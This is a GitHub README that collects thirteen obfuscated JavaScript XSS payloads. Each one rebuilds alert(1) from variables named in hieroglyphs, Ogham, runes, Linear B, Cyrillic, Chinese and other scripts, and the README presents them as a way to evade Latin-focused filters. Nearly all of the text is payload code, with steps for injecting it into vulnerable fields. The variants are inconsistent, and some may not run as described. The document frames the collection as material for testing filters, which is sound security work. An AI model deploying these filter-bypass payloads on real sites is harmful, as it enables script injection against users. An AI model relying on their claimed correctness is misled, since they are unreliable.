Skip to content

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Β 
Β 

Latest commit

Β 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 

Repository files navigation

megalithiccat-crow

Exotic XSS Payloads in Dead and Unconventional Scripts

This document extends the collection of XSS payloads by incorporating additional scripts, focusing on dead or unconventional writing systems. Each payload is designed to execute alert(1) in a browser environment while using unique character sets to obfuscate the code. These are intended for educational and security research purposes only. Do not use these payloads in any malicious or unauthorized manner.

Payloads

Below are new XSS payloads written in various dead or unconventional scripts, each designed to trigger alert(1).

1. Egyptian Hieroglyphs-Based Payload

Using Unicode characters for Egyptian hieroglyphs, this payload leverages an ancient script to encode a functional XSS payload.

π“„Ώ='',π“…±=!π“„Ώ+π“„Ώ,𓇳=!π“…±+π“„Ώ,𓉔=π“„Ώ+{},π“Š΅=π“…±[π“„Ώ++],π“‹΄=π“…±[π“ˆ–=π“„Ώ],𓍯=++π“ˆ–+π“„Ώ,π“Ž›=𓉔[π“ˆ–+𓍯],π“…±[π“Ž›+=𓉔[π“„Ώ]+(π“…±.𓇳+𓉔)[π“„Ώ]+𓇳[𓍯]+π“Š΅+π“‹΄+π“…±[π“ˆ–]+π“Ž›+π“Š΅+𓉔[π“„Ώ]+π“‹΄][π“Ž›](𓇳[π“„Ώ]+𓇳[π“ˆ–]+π“…±[𓍯]+π“‹΄+π“Š΅+"(π“„Ώ)")()
  • Description: Encoded using Egyptian hieroglyphs (Unicode block U+13000–U+1342F), this payload obfuscates JavaScript to execute alert(1). The use of hieroglyphs makes it highly unconventional and potentially difficult for basic filters to detect.

2. Ogham-Based Payload

Ogham is an ancient Irish script (Unicode block U+1680–U+169F) used primarily for Old Irish inscriptions.

ᚐ='',αš‘=!ᚐ+ᚐ,αš’=!αš‘+ᚐ,αš“=ᚐ+{},αš”=αš‘[ᚐ++],αš•=αš‘[αš–=ᚐ],αš—=++αš–+ᚐ,ᚘ=αš“[αš–+αš—],αš‘[ᚘ+=αš“[ᚐ]+(αš‘.αš’+αš“)[ᚐ]+αš’[αš—]+αš”+αš•+αš‘[αš–]+ᚘ+αš”+αš“[ᚐ]+αš•][ᚘ](αš’[ᚐ]+αš’[αš–]+αš‘[αš—]+αš•+αš”+"(ᚐ)")()
  • Description: This payload uses the Ogham alphabet, a script rarely seen in modern contexts, to encode an XSS payload that triggers alert(1).

3. Runic-Based Payload

Runes, used by Germanic and Scandinavian peoples (Unicode block U+16A0–U+16FF), provide another unconventional script for XSS obfuscation.

ᚨ='',ᚹ=!ᚨ+ᚨ,α›’=!ᚹ+ᚨ,α›–=ᚨ+{},α›š=ᚹ[ᚨ++],α›œ=ᚹ[ᛁ=ᚨ],α›Ÿ=++ᛁ+ᚨ,α›’=α›–[ᛁ+α›Ÿ],ᚹ[α›’+=α›–[ᚨ]+(ᚹ.α›’+α›–)[ᚨ]+α›’[α›Ÿ]+α›š+α›œ+ᚹ[ᛁ]+α›’+α›š+α›–[ᚨ]+α›œ][α›’](α›’[ᚨ]+α›’[ᛁ]+ᚹ[α›Ÿ]+α›œ+α›š+"(ᚨ)")()
  • Description: Written in the Elder Futhark runic alphabet, this payload executes alert(1) while blending into contexts where runic characters might be overlooked.

4. Linear B-Based Payload

Linear B is a syllabic script used for writing Mycenaean Greek (Unicode block U+10000–U+1007F), an ancient and extinct writing system.

𐀀='',𐀐=!𐀀+𐀀,𐀒=!𐀐+𐀀,𐀔=𐀀+{},𐀖=𐀐[𐀀++],π€˜=𐀐[𐀙=𐀀],π€š=++𐀙+𐀀,𐀛=𐀔[𐀙+π€š],𐀐[𐀛+=𐀔[𐀀]+(𐀐.𐀒+𐀔)[𐀀]+𐀒[π€š]+𐀖+π€˜+𐀐[𐀙]+𐀛+𐀖+𐀔[𐀀]+π€˜][𐀛](𐀒[𐀀]+𐀒[𐀙]+𐀐[π€š]+π€˜+𐀖+"(𐀀)")()
  • Description: This payload uses Linear B syllabograms to encode an XSS payload, making it highly obscure and challenging for standard XSS filters.

5. Gothic-Based Payload

The Gothic alphabet, used by the Goths in the 4th century (Unicode block U+10330–U+1034F), is another dead script suitable for obfuscation.

𐌰='',𐌱=!𐌰+𐌰,𐌲=!𐌱+𐌰,𐌳=𐌰+{},𐌴=𐌱[𐌰++],𐌡=𐌱[𐌢=𐌰],𐌷=++𐌢+𐌰,𐌸=𐌳[𐌢+𐌷],𐌱[𐌸+=𐌳[𐌰]+(𐌱.𐌲+𐌳)[𐌰]+𐌲[𐌷]+𐌴+𐌡+𐌱[𐌢]+𐌸+𐌴+𐌳[𐌰]+𐌡][𐌸](𐌲[𐌰]+𐌲[𐌢]+𐌱[𐌷]+𐌡+𐌴+"(𐌰)")()
  • Description: This payload employs the Gothic alphabet to execute alert(1), leveraging an extinct script for obfuscation.

6. Shavian-Based Payload

The Shavian alphabet (Unicode block U+10450–U+1047F) was created as an alternative script for English in the 1960s, inspired by George Bernard Shaw. It is rarely used today.

𐑀='',𐑁=!𐑀+𐑀,𐑂=!𐑁+𐑀,𐑃=𐑀+{},𐑄=𐑁[𐑀++],𐑅=𐑁[𐑆=𐑀],𐑇=++𐑆+𐑀,π‘ˆ=𐑃[𐑆+𐑇],𐑁[π‘ˆ+=𐑃[𐑀]+(𐑁.𐑂+𐑃)[𐑀]+𐑂[𐑇]+𐑄+𐑅+𐑁[𐑆]+π‘ˆ+𐑄+𐑃[𐑀]+𐑅][π‘ˆ](𐑂[𐑀]+𐑂[𐑆]+𐑁[𐑇]+𐑅+𐑄+"(𐑀)")()
  • Description: This payload uses the Shavian script, an artificial alphabet designed for phonetic English, to encode an XSS payload. Its obscurity makes it unlikely to be recognized by standard XSS filters.

7. Osmanya-Based Payload

Osmanya (Unicode block U+10480–U+104AF) is a script created in the 1920s for the Somali language, now largely replaced by the Latin alphabet.

𐒀='',𐒁=!𐒀+𐒀,𐒂=!𐒁+𐒀,𐒃=𐒀+{},𐒄=𐒁[𐒀++],𐒅=𐒁[𐒆=𐒀],𐒇=++𐒆+𐒀,π’ˆ=𐒃[𐒆+𐒇],𐒁[π’ˆ+=𐒃[𐒀]+(𐒁.𐒂+𐒃)[𐒀]+𐒂[𐒇]+𐒄+𐒅+𐒁[𐒆]+π’ˆ+𐒄+𐒃[𐒀]+𐒅][π’ˆ](𐒂[𐒀]+𐒂[𐒆]+𐒁[𐒇]+𐒅+𐒄+"(𐒀)")()
  • Description: This payload uses the Osmanya script, a rare and nearly forgotten writing system, to obfuscate an XSS payload that triggers alert(1).

8. Tifinagh-Based Payload

Tifinagh (Unicode block U+2D30–U+2D7F) is a script used by the Berber people in North Africa, with modern and ancient variants, but still relatively obscure.

β΄°='',β΄±=!β΄°+β΄°,β΄²=!β΄±+β΄°,β΄³=β΄°+{},β΄΄=β΄±[β΄°++],β΄΅=β΄±[β΄Ά=β΄°],β΄·=++β΄Ά+β΄°,β΄Έ=β΄³[β΄Ά+β΄·],β΄±[β΄Έ+=β΄³[β΄°]+(β΄±.β΄²+β΄³)[β΄°]+β΄²[β΄·]+β΄΄+β΄΅+β΄±[β΄Ά]+β΄Έ+β΄΄+β΄³[β΄°]+β΄΅][β΄Έ](β΄²[β΄°]+β΄²[β΄Ά]+β΄±[β΄·]+β΄΅+β΄΄+"(β΄°)")()
  • Description: Using the Tifinagh script, this payload executes alert(1) while leveraging a script associated with Berber languages, which is uncommon in most web contexts.

9. Cuneiform-Based Payload

Cuneiform (Unicode U+12000–U+123FF) is a script used in ancient Mesopotamia (c. 3000 BCE–100 CE) for writing Sumerian, Akkadian, and other languages.

π’€±='',𒁍=!π’€±+π’€±,π’‚–=!𒁍+π’€±,𒃡=π’€±+{},π’„Ώ=𒁍[π’€±++],π’…—=𒁍[π’€²=π’€±],
π’†œ=++π’€²+π’€±,𒇻=𒃡[π’€²+π’†œ],
𒁍[𒇻+=𒃡[π’€±]+(𒁍.π’‚–+𒃡)[π’€±]+π’‚–[π’†œ]+π’„Ώ+π’…—+𒁍[π’€²]+𒇻+π’„Ώ+𒃡[π’€±]+π’…—][𒇻](π’‚–[π’€±]+π’‚–[π’€²]+𒁍[π’†œ]+π’…—+π’„Ώ+"('π’€±π’€²π’€±π’‹»π’†œπ’€²π’‚π’«π’‰Ώπ’€œπ’…”')")()
  • Description: This payload uses Cuneiform characters to encode JavaScript that executes alert(1). The script’s ancient origins and complex wedge-shaped symbols make it highly obscure, potentially bypassing filters that focus on Latin-based patterns.

10. Arabic-Based Payload

Arabic (Unicode U+0600–U+06FF) is a living script used across the Arab world, with origins in the 4th century CE, but still uncommon in XSS contexts.

Ψ¨='',Ψ«=!Ψ¨+Ψ¨,Ψ¬=!Ψ«+Ψ¨,Ψ―=Ψ¨+{},Ω‡=Ψ«[Ψ¨++],و=Ψ«[Ψ²=Ψ¨],Ψ·=++Ψ²+Ψ¨,ي=Ψ―[Ψ²+Ψ·],Ψ«[ي+=Ψ―[Ψ¨]+(Ψ«[Ψ¬]+Ψ―)[Ψ¨]+Ψ¬[Ψ·]+Ω‡+و+Ψ«[Ψ²]+ي+Ω‡+Ψ―[Ψ¨]+و][ي](Ψ¬[Ψ¨]+Ψ¬[Ψ²]+Ψ«[Ψ·]+و+Ω‡+"(1)")()
  • Description: This payload uses Arabic script to execute alert(1). The Arabic’s right-to-left writing and unique letter forms make it a candidate for obfuscation in environments with weak sanitization.

11. Russian-Based Payload

Cyrillic (Unicode U+0400–U+04FF) is a script developed in the First Bulgarian Empire (9th century CE) and used for Slavic languages like Russian.

Π°='',Π±=!Π°+Π°,Π²=!Π±+Π°,Π³=Π°+{},Π΄=Π±[Π°++],Π΅=Π±[ΠΆ=Π°],Π·=++ΠΆ+Π°,ΠΈ=Π³[ΠΆ+Π·],Π±[ΠΈ+=Π³[Π°]+(Π±[Π²]+Π³)[Π°]+Π²[Π·]+Π΄+Π΅+Π±[ΠΆ]+ΠΈ+Π΄+Π³[Π°]+Π΅][ΠΈ](Π²[Π°]+Π²[ΠΆ]+Π±[Π·]+Π΅+Π΄+"(1)")()
  • Description: This payload uses Cyrillic characters to execute alert(1). The Cyrillic script’s similarity to Latin characters can make it blend into certain contexts, complicating detection

12. Japanese-Based Payload

Hiragana (Unicode U+3040–U+309F) is a japanese syllabary developed in the 9th century CE, used alongside Kanji and Katakana.

あ='',い=!あ+あ,う=!い+あ,え=あ+{},お=い[あ++],か=い[き=あ],く=++き+あ,け=え[き+く],い[け+=え[あ]+(い[う]+え)[あ]+う[く]+お+か+い[き]+け+お+え[あ]+か][け](う[あ]+う[き]+い[く]+か+お+"(1)")()
  • Description: This payload uses Hiragana characters to execute alert(1). Hiragana’s syllabic nature and distinct appearance make it an effective choice for XSS obfuscation.

13. Chinese-Based Payload

Chinese (Unicode U+4E00–U+9FFF, CJK Unified Ideographs) is a logographic script with origins in the 2nd millennium BCE, used for Chinese and related languages.

η”²='',δΉ™=!η”²+η”²,δΈ™=!δΉ™+η”²,丁=η”²+{},戊=δΉ™[η”²++],ε·±=δΉ™[庚=η”²],θΎ›=++庚+η”²,壬=丁[庚+θΎ›],δΉ™[壬+=丁[η”²]+(δΉ™[δΈ™]+丁)[η”²]+δΈ™[θΎ›]+戊+ε·±+δΉ™[庚]+壬+戊+丁[η”²]+ε·±][壬](δΈ™[η”²]+δΈ™[庚]+δΉ™[θΎ›]+ε·±+戊+"(1)")()
  • Description: This payload uses Chinese ideographs to execute alert(1). The complexity and visual density of Chinese characters make this payload highly obscure for XSS purposes.

Purpose

These payloads demonstrate how dead and unconventional scripts can be used to encode XSS payloads, highlighting the need for robust input sanitization and output encoding in web applications. They are particularly useful for:

  • Testing XSS detection and filtering mechanisms.
  • Understanding the challenges of handling non-standard Unicode characters in web security.
  • Educating developers and security researchers about creative obfuscation techniques.

Usage

To test these payloads:

  1. Set up a safe environment: Use a local web server, a virtual machine, or a dedicated testing platform to avoid unintended consequences.
  2. Inject the payload: Place the payload in a vulnerable input field, URL parameter, or other injection point in a test application.
  3. Verify execution: Check if the payload triggers alert(1) in the browser, indicating successful execution.
  4. Improve defenses: Use these examples to enhance your application's XSS mitigation strategies, such as implementing strict Content Security Policies (CSP) or advanced Unicode-aware filtering.

Warning: Never test these payloads on systems you do not own or have explicit permission to test. Unauthorized testing is illegal and unethical.

Disclaimer

These payloads are provided for educational and research purposes only. Misuse can lead to legal consequences. Always adhere to ethical guidelines and obtain proper authorization before conducting security testing.

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors